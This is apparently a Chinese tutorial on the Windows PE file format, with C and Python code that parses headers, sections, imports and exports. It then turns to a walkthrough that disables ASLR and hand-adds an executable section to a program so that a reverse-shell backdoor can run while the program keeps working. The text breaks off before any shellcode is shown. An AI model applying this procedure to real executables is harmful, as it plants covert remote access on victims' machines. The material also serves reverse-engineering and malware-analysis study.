e_res[4]; // Reserved words WORD e_oemid; // OEM identifier (for e_oeminfo) WORD e_oeminfo; // OEM information; e_oemid specific WORD e_res2[10]; // Reserved words LONG e_lfanew; // 指向了PE文件的开头(重要) } IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;在DOS文件头中,第一个字段e_magic被定义为MZ,标志着DOS文件的开头部分,最后一个字段e_lfanew则指明了PE文件的开头位置,现在来说除了第一个字段和最后一个字段有些用处,其他字段几乎已经废弃了,这里附上读取DOS头的代码。void DisplayDOSHeadInfo(HANDLE ImageBase) PIMAGE_DOS_HEADER pDosHead = NULL; pDosHead = (PIMAGE_DOS_HEADER)ImageBase; printf("DOS头: %x\n", pDosHead->e_magic); printf("文件地址: %x\n", pDosHead->e_lfarlc); printf("PE结构偏移: %x\n", pDosHead->e_lfanew); }PE头结构: 从DOS文件头的e_lfanew字段向下偏移003CH的位置,就是真正的PE文件头的位置,该文件头是由IMAGE_NT_HEADERS结构定义的,定义结构如下:typedef struct _IMAGE_NT_HEADERS { DWORD Signature; // PE文件标识字符 IMAGE_FILE_HEADER FileHeader; IMAGE_OPTIONAL_HEADER32 OptionalHeader; } IMAGE_NT_HEADERS32, *PIMAGE_NT_HEADERS32;如上PE文件头的第一个DWORD是一个标志,默认情况下它被定义为00004550h也就是P,E两个字符另外加上两个零,而大部分的文件属性由标志后面的IMAGE_FILE_HEADER和IMAGE_OPTIONAL_HEADER32结构来定义,我们继续跟进IMAGE_FILE_HEADER这个结构:typedef struct _IMAGE_FILE_HEADER { WORD Machine; // 运行平台 WORD NumberOfSections; // 文件的节数目 DWORD TimeDateStamp; // 文件创建日期和时间 DWORD PointerToSymbolTable; // 指向符号表(用于调试) DWORD NumberOfSymbols; // 符号表中的符号数量 WORD SizeOfOptionalHeader; // IMAGE_OPTIONAL_HANDLER32结构的长度 WORD Characteristics; // 文件的属性 exe=010fh dll=210eh } IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER;继续跟进 IMAGE_OPTIONAL_HEADER32 结构,该结构体中的数据就丰富了,重要的结构说明经备注好了:typedef struct _IMAGE_OPTIONAL_HEADER { WORD Magic; BYTE MajorLinkerVersion; // 连接器版本 BYTE MinorLinkerVersion; DWORD SizeOfCode; // 所有包含代码节的总大小 DWORD SizeOfInitializedData; // 所有已初始化数据的节总大小 DWORD SizeOfUninitializedData; // 所有未初始化数据的节总大小 DWORD AddressOfEntryPoint; // 程序执行入口RVA DWORD BaseOfCode; // 代码节的起始RVA DWORD BaseOfData; // 数据节的起始RVA DWORD ImageBase; // 程序镜像基地址 DWORD SectionAlignment; // 内存中节的对其粒度 DWORD FileAlignment; // 文件中节的对其粒度 WORD MajorOperatingSystemVersion; // 操作系统主版本号 WORD MinorOperatingSystemVersion; // 操作系统副版本号 WORD MajorImageVersion; // 可运行于操作系统的最小版本号 WORD MinorImageVersion; WORD MajorSubsystemVersion; // 可运行于操作系统的最小子版本号 WORD MinorSubsystemVersion; DWORD Win32VersionValue; DWORD SizeOfImage; // 内存中整个PE映像尺寸 DWORD SizeOfHeaders; // 所有头加节表的大小 DWORD CheckSum; WORD Subsystem; WORD DllCharacteristics; DWORD SizeOfStackReserve; // 初始化时堆栈大小 DWORD SizeOfStackCommit; DWORD SizeOfHeapReserve; DWORD SizeOfHeapCommit; DWORD LoaderFlags; DWORD NumberOfRvaAndSizes; // 数据目录的结构数量 IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES]; } IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32;IMAGE_DATA_DIRECTORY数据目录列表,它由16个相同的IMAGE_DATA_DIRECTORY结构组成,这16个数据目录结构定义很简单仅仅指出了某种数据的位置和长度,定义如下:typedef struct _IMAGE_DATA_DIRECTORY { DWORD VirtualAddress; // 数据起始RVA DWORD Size; // 数据块的长度 } IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;上方的结构就是PE文件的重要结构,接下来将通过编程读取出PE文件的开头相关数据。读取NT文件头: 第1个函数用于判断是否为可执行文件,第2个函数用于读取PE文件头信息。BOOL IsPEFile(HANDLE ImageBase) PIMAGE_DOS_HEADER pDosHead = NULL; PIMAGE_NT_HEADERS pNtHead = NULL; if (ImageBase == NULL){ return FALSE; } pDosHead = (PIMAGE_DOS_HEADER)ImageBase; if (IMAGE_DOS_SIGNATURE != pDosHead->e_magic){ return FALSE; } pNtHead = (PIMAGE_NT_HEADERS)((DWORD)pDosHead + pDosHead->e_lfanew); if (IMAGE_NT_SIGNATURE != pNtHead->Signature){ return FALSE; } return TRUE; PIMAGE_NT_HEADERS GetNtHead(HANDLE ImageBase) PIMAGE_DOS_HEADER pDosHead = NULL; PIMAGE_NT_HEADERS pNtHead = NULL; pDosHead = (PIMAGE_DOS_HEADER)ImageBase; pNtHead = (PIMAGE_NT_HEADERS)((DWORD)pDosHead + pDosHead->e_lfanew); return pNtHead; }读取PE文件结构:void DisplayFileHeaderInfo(HANDLE ImageBase) PIMAGE_NT_HEADERS pNtHead = NULL; PIMAGE_FILE_HEADER pFileHead = NULL; pNtHead = GetNtHead(ImageBase); pFileHead = &pNtHead->FileHeader; printf("运行平台: %x\n", pFileHead->Machine); printf("节区数目: %x\n", pFileHead->NumberOfSections); printf("时间标记: %x\n", pFileHead->TimeDateStamp); printf("可选头大小 %x\n", pFileHead->SizeOfOptionalHeader); printf("文件特性: %x\n", pFileHead->Characteristics); }读取OptionalHeader结构:void DisplayOptionalHeaderInfo(HANDLE ImageBase) PIMAGE_NT_HEADERS pNtHead = NULL; pNtHead = GetNtHead(ImageBase); printf("入口点: %x\n", pNtHead->OptionalHeader.AddressOfEntryPoint); printf("镜像基址: %x\n", pNtHead->OptionalHeader.ImageBase); printf("镜像大小: %x\n", pNtHead->OptionalHeader.SizeOfImage); printf("代码基址: %x\n", pNtHead->OptionalHeader.BaseOfCode); printf("区块对齐: %x\n", pNtHead->OptionalHeader.SectionAlignment); printf("文件块对齐: %x\n", pNtHead->OptionalHeader.FileAlignment); printf("子系统: %x\n", pNtHead->OptionalHeader.Subsystem); printf("区段数目: %x\n", pNtHead->FileHeader.NumberOfSections); printf("时间日期标志: %x\n", pNtHead->FileHeader.TimeDateStamp); printf("首部大小: %x\n", pNtHead->OptionalHeader.SizeOfHeaders); printf("特征值: %x\n", pNtHead->FileHeader.Characteristics); printf("校验和: %x\n", pNtHead->OptionalHeader.CheckSum); printf("可选头部大小: %x\n", pNtHead->FileHeader.SizeOfOptionalHeader); printf("RVA 数及大小: %x\n", pNtHead->OptionalHeader.NumberOfRvaAndSizes); }◆内存节与节表◆在执行PE文件的时候,Windows 并不在一开始就将整个文件读入内存,PE装载器在装载的时候仅仅建立好虚拟地址和PE文件之间的映射关系,只有真正执行到某个内存页中的指令或者访问页中的数据时,这个页面才会被从磁盘提交到内存中,这种机制极大的节约了内存资源,使文件的装入速度和文件的大小没有太多的关系。Windows 装载器在装载DOS部分PE文件头部分和节表部分时不进行任何处理,而在装载节区的时候会根据节的不同属性做不同的处理,一般需要处理以下几个方面的内容:节区的属性: 节是相同属性的数据的组合,当节被装入内存的时候,同一个节对应的内存页面将被赋予相同的页属性,Windows系统对内存属性的设置是以页为单位进行的,所以节在内存中的对其单位必须至少是一个页的大小,对于X86来说这个值是4KB(1000h),而对于X64来说这个值是8KB(2000h),磁盘中存储的程序并不会对齐4KB,而只有被PE加载器载入内存的时候,PE装载器才会自动的补齐4KB对其的零头数据。 节区的偏移: 节的起始地址在磁盘文件中是按照IMAGE_OPTIONAL_HEADER结构的FileAhgnment字段的值对齐的,而被加载到内存中时是按照同一结构中的SectionAlignment字段的值对齐的,两者的值可能不同,所以一个节被装入内存后相对于文件头的偏移和在磁盘文件中的偏移可能是不同的。节区的尺寸: 由于磁盘映像和内存映像的对齐单位不同,磁盘中的映像在装入内存后会自动的进行长度扩展,而对于未初始化的数据段(.data?)来说,则没有必要为它在磁盘文件中预留空间,只要可执行文件装入内存后动态的为其分配空间即可,所以包含未初始化数据的节在磁盘中长度被定义为0,只有在运行后PE加载器才会动态的为他们开辟空间。不进行映射的节: 有些节中包含的数据仅仅是在装入的时候用到,当文件装载完毕时,他们不会被递交到物理内存中,例如重定位节,该节的数据对于文件的执行代码来说是透明的,他只供Windows装载器使用,可执行代码根本不会访问他们,所以这些节存在于磁盘文件中,不会被映射到内存中。节表结构定义: PE文件中的所有节的属性定义都被定义在节表中,节表由一系列的IMAGE_SECTION_HEADER结构排列而成,每个结构邮过来描述一个节,节表总被存放在紧接在PE文件头的地方,也即是从PE文件头开始偏移为00f8h的位置。typedef struct _IMAGE_SECTION_HEADER { BYTE Name[IMAGE_SIZEOF_SHORT_NAME]; union { DWORD PhysicalAddress; DWORD VirtualSize; // 节区尺寸 } Misc; DWORD VirtualAddress; // 节区RVA DWORD SizeOfRawData; // 在文件中对齐后的尺寸 DWORD PointerToRawData; // 在文件中的偏移 DWORD PointerToRelocations; // 在OBJ文件中使用 DWORD PointerToLinenumbers; WORD NumberOfRelocations; WORD NumberOfLinenumbers; DWORD Characteristics; // 节区属性字段 } IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;读取所有节表: 通过编程实现读取节区中的所有节,并打印出来。void DisplaySectionHeaderInfo(HANDLE ImageBase) PIMAGE_NT_HEADERS pNtHead = NULL; PIMAGE_FILE_HEADER pFileHead = NULL; PIMAGE_SECTION_HEADER pSection = NULL; DWORD NumberOfSectinsCount = 0; pNtHead = GetNtHead(ImageBase); pSection = IMAGE_FIRST_SECTION(pNtHead); pFileHead = &pNtHead->FileHeader; NumberOfSectinsCount = pFileHead->NumberOfSections; // 获得区段数量 DWORD *difA = NULL; // 虚拟地址开头 DWORD *difS = NULL; // 相对偏移(用于遍历) difA = (DWORD *)malloc(NumberOfSectinsCount*sizeof(DWORD)); difS = (DWORD *)malloc(NumberOfSectinsCount*sizeof(DWORD)); printf("节区名称 相对偏移\t虚拟大小\tRaw数据指针\tRaw数据大小\t节区属性\n"); for (int temp = 0; temp<NumberOfSectinsCount; temp++, pSection++) printf("%s\t 0x%.8X \t 0x%.8X \t 0x%.8X \t 0x%.8X \t 0x%.8X\n", pSection->Name, pSection->VirtualAddress, pSection->Misc.VirtualSize, pSection->PointerToRawData, pSection->SizeOfRawData, pSection->Characteristics); difA[temp] = pSection->VirtualAddress; difS[temp] = pSection->VirtualAddress - pSection->PointerToRawData; }使用C语言实现可能有点复杂,我们可以使用Python几行代码搞定,最终的调用效果是相同的,格式也是相同的。import pefile if __name__ == "__main__": pe = pefile.PE("D://run.exe") section_count = int(pe.FILE_HEADER.NumberOfSections + 1) print("序号\t节区名称\t\t相对偏移\t\t虚拟大小\t\tRaw数据指针\tRaw数据大小\t节区属性") print("-" * 80) for count,item in zip(range(1,section_count),pe.sections): print("%d\t\t%-10s\t0x%.8X\t0x%.8X\t0x%.8X\t0x%.8X\t0x%.8X" %(count,(item.Name).decode("utf-8"),item.VirtualAddress, item.Misc_VirtualSize,item.PointerToRawData,item.SizeOfRawData,item.Characteristics))◆Import 导入表◆导入表在可执行文件中扮演了重要的角色,在Win32编程中我们会经常用到导入函数,导入函数就是程序调用其执行代码又不在程序中的函数,这些函数通常是系统提供给我们的API,在调用者程序中只保留一些函数信息,包括函数名机器所在DLL路径。对于磁盘上的PE文件来说,它无法得知这些导入函数会在的那个内存的那个地方出现,只有当PE文件被装入内存时,Windows装载器才将DLL载入,并调用导入函数指令,和函数实际所处的地址联系起来。首先我通过汇编编写了一段简单的弹窗代码,我们观察下方代码,有没有发现一些奇特的地方?00801000 | 6A 00 | push 0 | 00801002 | 6A 00 | push 0 | 00801004 | 68 00308000 | push main.803000 | 00801009 | 6A 00 | push 0 | 0080100B | E8 0E000000 | call 0x0080101E | call MessageBoxA 00801010 | 6A 00 | push 0 | 00801012 | E8 01000000 | call 0x00801018 | call ExitProcess 00801017 | CC | int3 | 00801018 | FF25 00208000 | jmp dword ptr ds:[0x00802000] | 导入函数地址 0080101E | FF25 08208000 | jmp dword ptr ds:[0x00802008] | 导入函数地址反汇编后,可看到对MessageBox和ExitProcess函数的调用变成了对0x0080101E和0x00801018地址的调用,但是这两个地址显然是位于程序自身模块,而不是系统的DLL模块中的,实际上这是由于编译器在程序的代码的后面自动添加了一条jmp dword ptr[xxxxx]类型的跳转指令,其中的[xxxxx]地址中才是真正存放导入函数的地址。那么在程序没有被PE装载器加载之前,0x00802000地址处的内容是什么呢?节区名称 相对偏移 虚拟大小 Raw数据指针 Raw数据大小 节区属性 .text 0x00001000 0x00000024 0x00000400 0x00000200 0x60000020 .rdata 0x00002000 0x00000092 0x00000600 0x00000200 0x40000040 .data 0x00003000 0x0000000E 0x00000800 0x00000200 0xC0000040 .reloc 0x00004000 0x00000024 0x00000A00 0x00000200 0x42000040此处由于建议装入地址是0x00800000所以0x00802000地址实际上是处于RVA偏移为2000h的地方,在观察各个节的相对偏移,可发现2000h开始的地方位于.rdata节内,而这个节的Raw数据指针项为600h,也就是说0x00802000地址的内容实际上对应了PE文件中偏移600h处的数据。你可以打开任意一款十六进制查看器,将光标拖到600h处,会发现其对应的地址是0000205Ch,这个地址显然也不会是ExitProcess函数地址,但我们将它作为RVA来看的话。查看节表可以发现RVA地址0000205C也处于.rdata节内,减去节的起始地址0x00002000得到这个RVA相对于节首的偏移是5Ch,也就是说它对应文件为0x00000600+5c = 065ch开始的地方,接下来观察可发现,这个字符串正好就是ExitProcess所对应的文件偏移地址。当PE文件被装载的时候,Windows装载器会根据xxxx处的RVA得到函数名,再根据函数名在内存中找到函数地址,并且用函数地址将xxxx处的内容替换成真正的函数地址。导入表位置和大小可以从PE文件头中IMAGE_OPTIONAL_HEADER32结构的IMAGE_DATA_DIRECTORY数据目录字段中获取,从IMAGE_DATA_DIRECTORY字段得到的是导入表的RVA值,如果在内存中查找导入表,那么将RVA值加上PE文件装入的基址就是实际的地址。找到了数据目录结构,既能够找到导入表,导入表由一系列的IMAGE_IMPORT_DESCRIPTOR结构组成,结构的数量取决于程序需要使用的DLL文件数量,每个结构对应一个DLL文件,在所有结构的最后,由一个内容全为0的IMAGE_IMPORT_DESCRIPTOR结构作为结束标志,表结构定义如下:typedef struct _IMAGE_IMPORT_DESCRIPTOR { union { DWORD Characteristics; DWORD OriginalFirstThunk; // 包含指向IMAGE_THUNK_DATA(输入名称表)结构的数组 } DUMMYUNIONNAME; DWORD TimeDateStamp; // 当可执行文件不与被输入的DLL进行绑定时,此字段为0 DWORD ForwarderChain; // 第一个被转向的API的索引 DWORD Name; // 指向被输入的DLL的ASCII字符串的RVA DWORD FirstThunk; // 指向输入地址表(IAT)的RVA } IMAGE_IMPORT_DESCRIPTOR;OriginalFirstThunk和FirstThunk字段是相同的,他们都指向一个包含IMAGE_THUNK_DATA结构的数组,数组中每个IMAGE_THUNK_DATA结构定义了一个导入函数的具体信息,数组的最后以一个内容全为0的IMAGE_THUNK_DATA结构作为结束,该结构的定义如下:typedef struct _IMAGE_THUNK_DATA32 { union { DWORD ForwarderString; // PBYTE DWORD Function; // PDWORD DWORD Ordinal; DWORD AddressOfData; // PIMAGE_IMPORT_BY_NAME } u1; } IMAGE_THUNK_DATA32;从上方的结构定义不难看出,这是一个双字共用体结构,当结构的最高位为1时,表示函数是以序号的方式导入的,这时双字的低位就是函数的序号,当双字最高位为0时,表示函数以函数名方式导入,这时双字的值是一个RVA,指向一个用来定义导入函数名称的IMAGE_IMPORT_BY_NAME结构,此结构定义如下:typedef struct _IMAGE_IMPORT_BY_NAME { WORD Hint; // 函数序号 CHAR Name[1]; // 导入函数的名称 } IMAGE_IMPORT_BY_NAME, *PIMAGE_IMPORT_BY_NAME;上面的所有结构就是导入表的全部,总结起来就是下图这张表,看了之后是不是很懵逼。现在我们来分析下上图,导入表中IMAGE_IMPORT_DESCRIPTOR结构的NAME字段指向字符串Kernel32.dll表明当前程序要从Kernel32.dll文件中导入函数,OriginalFirstThunk和FirstThunk字段指向两个同样的IMAGE_THUNK_DATA数组,由于要导入4个函数,所有数组中包含4个有效项目并以最后一个内容为0的项目作为结束。第4个函数是以序号导入的,与其对应的IMAGE_THUNK_DATA结构最高位等于1,和函数的序号0010h组合起来的数值就是80000010h,其余的3个函数采用的是以函数名方式导入,所以IMAGE_THUNK_DATA结构的数值是一个RVA,分别指向3个IMAGE_IMPORT_BY_NAME结构,每个结构的第一个字段是函数的序号,后面就是函数的字符串名称了,一切就这么简单!上图为什么会出现两个一模一样的IMAGE_THUNK_DATA数组结构呢? 这是因为PE装载器会将其中一个结构修改为函数的地址jmp dword ptr[xxxx]其中的xxxx就是由FirstThunk字段指向的那个数组中的一员。实际上当PE文件被装载入内存后,内存中的映像会被Windows修正为如下图所示的样子:其中由FristThunk字段指向的那个数组中的每个双字都被替换成了真正的函数入口地址,之所以在PE文件中使用两份IMAGE_THUNK_DATA数组的拷贝并修改其中的一份,是为了最后还可以留下一份备份数据用来反过来查询地址所对应的导入函数名。最后通过编程实现读取导入表数据,如果需要64位需要修改GetNtHead里面的Dword = Dword_PTRvoid DisplayImportTable(HANDLE ImageBase) PIMAGE_DOS_HEADER pDosHead = NULL; PIMAGE_NT_HEADERS pNtHead = NULL; PIMAGE_IMPORT_DESCRIPTOR pInput = NULL; PIMAGE_THUNK_DATA _pThunk = NULL; DWORD dwThunk = NULL; USHORT Hint; pDosHead = (PIMAGE_DOS_HEADER)ImageBase; pNtHead = GetNtHead(ImageBase); if (pNtHead->OptionalHeader.DataDirectory[1].VirtualAddress == 0){ return; } // 读取导入表RVA pInput = (PIMAGE_IMPORT_DESCRIPTOR)ImageRvaToVa((PIMAGE_NT_HEADERS)pNtHead, pDosHead, pNtHead->OptionalHeader.DataDirectory[1].VirtualAddress, NULL); for (; pInput->Name != NULL;) char *szFunctionModule = (PSTR)ImageRvaToVa((PIMAGE_NT_HEADERS)pNtHead, pDosHead, (ULONG)pInput->Name, NULL); // 遍历出模块名称 if (pInput->OriginalFirstThunk != 0) dwThunk = pInput->OriginalFirstThunk; _pThunk = (PIMAGE_THUNK_DATA)ImageRvaToVa((PIMAGE_NT_HEADERS)pNtHead, pDosHead, (ULONG)pInput->OriginalFirstThunk, NULL); dwThunk = pInput->FirstThunk; _pThunk = (PIMAGE_THUNK_DATA)ImageRvaToVa((PIMAGE_NT_HEADERS)pNtHead, pDosHead, (ULONG)pInput->FirstThunk, NULL); for (; _pThunk->u1.AddressOfData != NULL;) char *szFunction = (PSTR)ImageRvaToVa((PIMAGE_NT_HEADERS)pNtHead, pDosHead, (ULONG)(((PIMAGE_IMPORT_BY_NAME)_pThunk->u1.AddressOfData)->Name), 0); if (szFunction != NULL) memcpy(&Hint, szFunction - 2, 2); Hint = -1; printf("%0.4x\t%0.8x\t%s\t %s\n", Hint, dwThunk, szFunctionModule, szFunction); dwThunk += 8; // 32位=4 64位=8 _pThunk++; pInput++; }◆Export 导出表◆当PE文件执行时 Windows装载器将文件装入内存并将导入表中登记的DLL文件一并装入,再根据DLL文件中函数的导出信息对可执行文件的导入表(IAT)进行修正。导出函数的DLL文件中,导出信息被保存在导出表,导出表就是记载着动态链接库的一些导出信息。通过导出表,DLL文件可以向系统提供导出函数的名称、序号和入口地址等信息,以便Windows装载器能够通过这些信息来完成动态链接的整个过程。导出函数存储在PE文件的导出表里,导出表的位置存放在PE文件头中的数据目录表中,与导出表对应的项目是数据目录中的首个IMAGE_DATA_DIRECTORY结构,从这个结构的VirtualAddress字段得到的就是导出表的RVA值,导出表同样可以使用函数名或序号这两种方法导出函数。导出表的起始位置有一个IMAGE_EXPORT_DIRECTORY结构与导入表中有多个IMAGE_IMPORT_DESCRIPTOR结构不同,导出表只有一个IMAGE_EXPORT_DIRECTORY结构,该结构定义如下:typedef struct _IMAGE_EXPORT_DIRECTORY { DWORD Characteristics; DWORD TimeDateStamp; // 文件的产生时刻 WORD MajorVersion; WORD MinorVersion; DWORD Name; // 指向文件名的RVA DWORD Base; // 导出函数的起始序号 DWORD NumberOfFunctions; // 导出函数总数 DWORD NumberOfNames; // 以名称导出函数的总数 DWORD AddressOfFunctions; // 导出函数地址表的RVA DWORD AddressOfNames; // 函数名称地址表的RVA DWORD AddressOfNameOrdinals; // 函数名序号表的RVA } IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;上面的_IMAGE_EXPORT_DIRECTORY 结构如果总结成一张图,如下所示:在上图中最左侧AddressOfNames结构成员指向了一个数组,数组里保存着一组RVA,每个RVA指向一个字符串即导出的函数名,与这个函数名对应的是AddressOfNameOrdinals中的结构成员,该对应项存储的正是函数的唯一编号并与AddressOfFunctions结构成员相关联,形成了一个导出链式结构体。获取导出函数地址时,先在AddressOfNames中找到对应的名字MyFunc1,该函数在AddressOfNames中是第1项,然后从AddressOfNameOrdinals中取出第1项的值这里是1,然后就可以通过导出函数的序号AddressOfFunctions[1]取出函数的入口RVA,然后通过RVA加上模块基址便是第一个导出函数的地址,向后每次相加导出函数偏移即可依次遍历出所有的导出函数地址,代码如下所示:CHAR *LoadFile(char *filename) DWORD dwReadWrite, LenOfFile = GetFileSize(filename, NULL); HANDLE hFile = CreateFileA(filename, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, 0, OPEN_EXISTING, 0, 0); if (hFile != INVALID_HANDLE_VALUE) PCHAR buffer = (PCHAR)malloc(LenOfFile); SetFilePointer(hFile, 0, 0, FILE_BEGIN); ReadFile(hFile, buffer, LenOfFile, &dwReadWrite, 0); CloseHandle(hFile); return buffer; return NULL; VOID DisplayExportTable(char *filename) PIMAGE_NT_HEADERS pNtHead; PIMAGE_DOS_HEADER pDosHead; PIMAGE_EXPORT_DIRECTORY pExport; char *filedata; filedata = LoadFile(filename); pDosHead = (PIMAGE_DOS_HEADER)filedata; pNtHead = (PIMAGE_NT_HEADERS)(filedata + pDosHead->e_lfanew); if (pNtHead->Signature != 0x00004550){return;} // 无效PE文件 //if (pNtHead->OptionalHeader.Magic != 0x20b){return;} // 不是64位PE pExport = (PIMAGE_EXPORT_DIRECTORY)ImageRvaToVa((PIMAGE_NT_HEADERS)pNtHead, pDosHead, pNtHead->OptionalHeader.DataDirectory[0].VirtualAddress, NULL); DWORD i = 0; DWORD NumberOfNames = pExport->NumberOfNames; ULONGLONG **ppdwNames = (ULONGLONG **)pExport->AddressOfNames; ppdwNames = (PULONGLONG*)ImageRvaToVa((PIMAGE_NT_HEADERS)pNtHead, pDosHead, (ULONG)ppdwNames, NULL); ULONGLONG **ppdwAddr = (ULONGLONG **)pExport->AddressOfFunctions; ppdwAddr = (PULONGLONG*)ImageRvaToVa((PIMAGE_NT_HEADERS)pNtHead, pDosHead, (DWORD)ppdwAddr, NULL); ULONGLONG *ppdwOrdin = (ULONGLONG*)ImageRvaToVa((PIMAGE_NT_HEADERS)pNtHead, pDosHead, (DWORD)pExport->AddressOfNameOrdinals, NULL); char* szFunction = (PSTR)ImageRvaToVa((PIMAGE_NT_HEADERS)pNtHead, pDosHead, (ULONG)*ppdwNames, NULL); for (i = 0; i<NumberOfNames; i++) printf("%0.8x\t%s\n",*ppdwAddr, szFunction); szFunction = szFunction + strlen(szFunction) + 1; ppdwAddr++; }总结:导入表多出现在EXE可执行文件中,而导出表则多出现在DLL文件中,除此之外重定位表也多出现在DLL文件中,而我们最需要关注的其实就是区段信息和导入表相关的内容其他的不太重要。

PE格式:手工给程序插入ShellCode

PE格式是 Windows下最常用的可执行文件格式,理解PE文件格式不仅可以了解操作系统的加载流程,还可以更好的理解操作系统对进程和内存相关的管理知识,而有些技术必须建立在了解PE文件格式的基础上,如文件加密与解密,病毒分析,外挂技术等,本次实验的目标是手工修改或增加节区,并给特定可执行程序插入一段ShellCode代码,实现程序运行自动反弹一个Shell会话。VA地址与FOA地址互转首先我们先来演示一下内存VA地址与FOA地址互相转换的方式,通过使用WinHEX打开一个二进制文件,打开后我们只需要关注如下蓝色注释为映像建议装入基址,黄色注释为映像装入后的RVA偏移。通过上方的截图结合PE文件结构图我们可得知0000158B为映像装入内存后的RVA偏移,紧随其后的00400000则是映像的建议装入基址,为什么是建议而不是绝对?别急后面慢来来解释。通过上方的已知条件我们就可以计算出程序实际装入内存后的入口地址了,公式如下:VA(实际装入地址) = ImageBase(基址) + RVA(偏移) => 00400000 + 0000158B = 0040158B找到了程序的OEP以后,接着我们来判断一下这个0040158B属于那个节区,以.text节区为例,下图我们通过观察区段可知,第一处橙色位置00000B44 (节区尺寸),第二处紫色位置00001000 (节区RVA),第三处00000C00 (文件对齐尺寸),第四处00000400 (文件中的偏移),第五处60000020 (节区属性)。得到了上方text节的相关数据,我们就可以判断程序的OEP到底落在了那个节区中,这里以.text节为例子,计算公式如下:虚拟地址开始位置:节区基地址 + 节区RVA => 00400000 + 00001000 = 00401000虚拟地址结束位置:text节地址 + 节区尺寸 => 00401000 + 00000B44 = 00401B44经过计算得知 .text 节所在区间(401000 - 401B44) 你的装入VA地址0040158B只要在区间里面就证明在本节区中,此处的VA地址是在401000 - 401B44区间内的,则说明它属于.text节。经过上面的公式计算我们知道了程序的OEP位置是落在了.text节,此时你兴致勃勃的打开x64DBG想去验证一下公式是否计算正确不料,尼玛!这地址根本不是400000开头啊,这是什么鬼?上图中出现的这种情况就是关于随机基址的问题,在新版的VS编译器上存在一个选项是否要启用随机基址(默认启用),至于这个随机基址的作用,猜测可能是为了防止缓冲区溢出之类的烂七八糟的东西。为了方便我们调试,我们需要手动干掉它,其对应到PE文件中的结构为 IMAGE_NT_HEADERS -> IMAGE_OPTIONAL_HEADER -> DllCharacteristics 相对于PE头的偏移为90字节,只需要修改这个标志即可,修改方式 x64:6081 改 2081 相对于 x86:4081 改 0081 以X86程序为例,修改后如下图所示。经过上面对标志位的修改,程序再次载入就能够停在0040158B的位置,也就是程序的OEP,接下来我们将通过公式计算出该OEP对应到文件中的位置。.text(节首地址) = ImageBase + 节区RVA => 00400000 + 00001000 = 00401000VA(虚拟地址) = ImageBase + RVA(偏移) => 00400000 + 0000158B = 0040158BRVA(相对偏移) = VA - (.text节首地址) => 0040158B - 00401000 = 58BFOA(文件偏移) = RVA + .text节对应到文件中的偏移 => 58B + 400 = 98B经过公式的计算,我们找到了虚拟地址0040158B对应到文件中的位置是98B,通过WinHEX定位过去,即可看到OEP处的机器码指令了。接着我们来计算一下.text节区的结束地址,通过文件的偏移加上文件对齐尺寸即可得到.text节的结束地址400+C00= 1000,那么我们主要就在文件偏移为(98B - 1000)在该区间中找空白的地方,此处我找到了在文件偏移为1000之前的位置有一段空白区域,如下图:接着我么通过公式计算一下文件偏移为0xF43的位置,其对应到VA虚拟地址是多少,公式如下:.text(节首地址) = ImageBase + 节区RVA => 00400000 + 00001000 = 00401000VPK(实际大小) = (text节首地址 - ImageBase) - 实际偏移 => 401000-400000-400 = C00VA(虚拟地址) = FOA(.text节) + ImageBase + VPK => F43+400000+C00 = 401B43计算后直接X64DBG跳转过去,我们从00401B44的位置向下全部填充为90(nop),然后直接保存文件。再次使用WinHEX查看文件偏移为0xF43的位置,会发现已经全部替换成了90指令,说明计算正确。到此文件偏移与虚拟偏移的转换就结束了,其实在我们使用X64DBG修改可执行文件指令的时候,X64DBG默认为我们做了上面的这些转换工作,其实这也能够解释为什么不脱壳的软件无法直接修改,因为X64DBG根本无法计算出文件偏移与虚拟偏移之间的对应关系,所以就无法保存文件了(热补丁除外)。新建节区并插入 ShellCode经过了上面的学习相信你已经能够独立完成FOA与VA之间的互转了,接下来我们将实现在程序中插入新节区,并向新节区内插入一段能够反向连接的ShellCode代码,并保证插入后门的程序依旧能够正常运行不被干扰,为了能够更好的复习PE相关知识,此处的偏移全部手动计算不借助任何工具,请确保你已经掌握了FOA与VA之间的转换关系然后再继续学习。首先我们的目标是新建一个新节区,我们需要根据.text节的内容进行仿写,先来看区段的书写规则:上图中:一般情况下区段的总长度不可大于40个字节,其中2E标志着PE区段的开始位置,后面紧随其后的7个字节的区域为区段的名称,由于只有7个字节的存储空间故最多只能使用6个字符来命名,而第一处蓝色部分则为该节在内存中展开的虚拟大小,第二处蓝色部分为在文件中的实际大小,第一处绿色部分为该节在内存中的虚拟偏移,第二处绿色部分为文件偏移,而最后的黄色部分就是该节的节区属性。既然知道了节区中每个成员之间的关系,那么我们就可以开始仿写了,仿写需要在程序中最后一个节的后面继续写,而该程序中的最后一个节是.reloc节,在reloc节的后面会有一大片空白区域,如下图:如下图:我们仿写一个.hack节区,该节区虚拟大小为1000字节(蓝色一),对应的实际大小也是1000字节(蓝色二),节区属性为200000E0可读可写可执行,绿色部分是需要我们计算才能得到的,继续向下看。接着我们通过公式计算一下.hack的虚拟偏移与实际偏移应该设置为多少,公式如下:.hack 虚拟偏移:虚拟偏移(.reloc) + 虚拟大小(.hack) => 00006000 + 00001000 = 00007000.hack 实际偏移:实际偏移(.reloc) + 实际大小(.reloc) => 00003800 + 00000200 = 00003A00经过公式推导我们可得知 .hack节,虚拟偏移应设置为00007000 实际偏移设置为00003A00节区长度为1000字节,将其填充到绿色位置即可,如下图:最后在文件末尾,插入1000个0字节填充,以作为我们填充ShellCode的具体位置,1000个0字节的话WinHEX需要填充4096到此其实还没结束,我们还落下了一个关键的地方,那就是在PE文件的开头,有一个控制节区数目的变量,此处因为我们增加了一个所以需要将其从5个改为6个,由于我们新增了0x1000的节区空间,那么相应的镜像大小也要加0x1000 如图黄色部分原始大小为00007000此处改为00008000即可。打开X64DBG载入修改好的程序,会发现我们的.hack节成功被系统识别了,到此节的插入已经实现了。接下来的工作就是向我们插入的节中植入一段可以实现反弹Shell会话的代码片段,你可以自己编写也可使用工具,此处为了简单起见我就使用黑客利器Metasploit生成反向ShellCode代码,执行命令:[root@localhost ~]# 